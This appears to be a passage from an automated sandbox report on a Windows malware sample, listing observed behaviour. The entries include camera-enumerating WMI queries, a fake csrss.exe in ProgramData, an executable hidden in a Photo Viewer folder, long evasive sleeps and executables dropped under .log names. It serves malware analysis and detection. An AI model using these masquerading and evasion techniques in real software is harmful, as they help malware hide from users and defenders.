Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\ProgramData\ssh\csrss.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1480000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1B0B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 30C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 1B0C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: DE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 1ADA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 30E0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1B2E0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: C50000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1A750000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: EE0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 1ABB0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 11A0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 1AB40000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1530000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1B230000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: FB0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 1AAA0000 memory reserve \| memory write watch
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 1AAF0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1650000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1B390000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 23E0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 1A630000 memory reserve \| memory write watch
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 2CA0000 memory reserve \| memory write watch
Source: C:\ProgramData\ssh\csrss.exe	Memory allocated: 1ACA0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 13A0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Memory allocated: 1AEC0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: DF0000 memory reserve \| memory write watch
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Memory allocated: 1A790000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598045	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595851	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595452	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595185	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595076	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594516	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594400	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 593094	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592750	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592615	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592494	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592375	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592263	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592137	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592031	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591922	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591812	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591703	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591571	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591462	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 591344	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590981	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590504	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590379	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 590052	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589932	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589810	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589703	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589594	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589469	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589321	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589203	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 589094	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588984	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588875	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588765	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588641	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588528	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588372	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 588070	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	Thread delayed: delay time: 922337203685477

Source: C:\ProgramData\ssh\csrss.exe	Window / User API: threadDelayed 5148			Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Window / User API: threadDelayed 4529			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ProgramData\ssh\csrss.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\VqLBvYHA.log	Jump to dropped file
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ObFbaRth.log	Jump to dropped file
Source: C:\ProgramData\ssh\csrss.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SGUSuOoy.log	Jump to dropped file
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\sKFFPdPb.log	Jump to dropped file
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\tHgNldeW.log	Jump to dropped file
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\cAPiRqzI.log	Jump to dropped file
Source: C:\ProgramData\ssh\csrss.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lSvXNkJN.log	Jump to dropped file
Source: C:\ProgramData\ssh\csrss.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\URqTugUz.log	Jump to dropped file

Source: C:\Users\user\Desktop\Gg6wivFINd.exe TID: 7312	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 8080	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 7968	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -598937s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -598172s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 5164	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -598045s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -597500s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 5164	Thread sleep time: -7200000s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -597266s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -596312s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -596141s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -596000s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -595851s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -595452s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -595185s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -595076s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594969s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594641s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594516s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594400s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -594156s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -593094s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592750s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592615s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592494s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592375s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592263s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592137s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -592031s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -591922s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -591812s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -591703s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -591571s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -591462s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -591344s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -590981s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -590504s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -590379s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -590052s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589932s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589810s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589703s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589594s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589469s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589321s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589203s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -589094s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588984s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588875s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588765s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588641s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588528s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588372s >= -30000s	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe TID: 4464	Thread sleep time: -588070s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe TID: 8096	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Gg6wivFINd.exe TID: 8100	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe TID: 8068	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe TID: 8116	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Gg6wivFINd.exe TID: 8188	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe TID: 6064	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\ssh\csrss.exe TID: 7708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Gg6wivFINd.exe TID: 7300	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe TID: 7608	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\ssh\csrss.exe TID: 7876	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\Gg6wivFINd.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe TID: 7896	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\ssh\csrss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\ProgramData\ssh\csrss.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Desktop\Gg6wivFINd.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Program Files (x86)\Windows Photo Viewer\en-GB\SKldWJijnIiMahBoQJBr.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\Gg6wivFINd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598937	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598172	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 598045	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 597266	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 596312	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595851	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595452	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595185	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 595076	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594969	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594516	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594400	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 593094	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592750	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592615	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592494	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592375	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592263	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592137	Jump to behavior
Source: C:\ProgramData\ssh\csrss.exe	Thread delayed: delay time: 592031	Jump to behavior
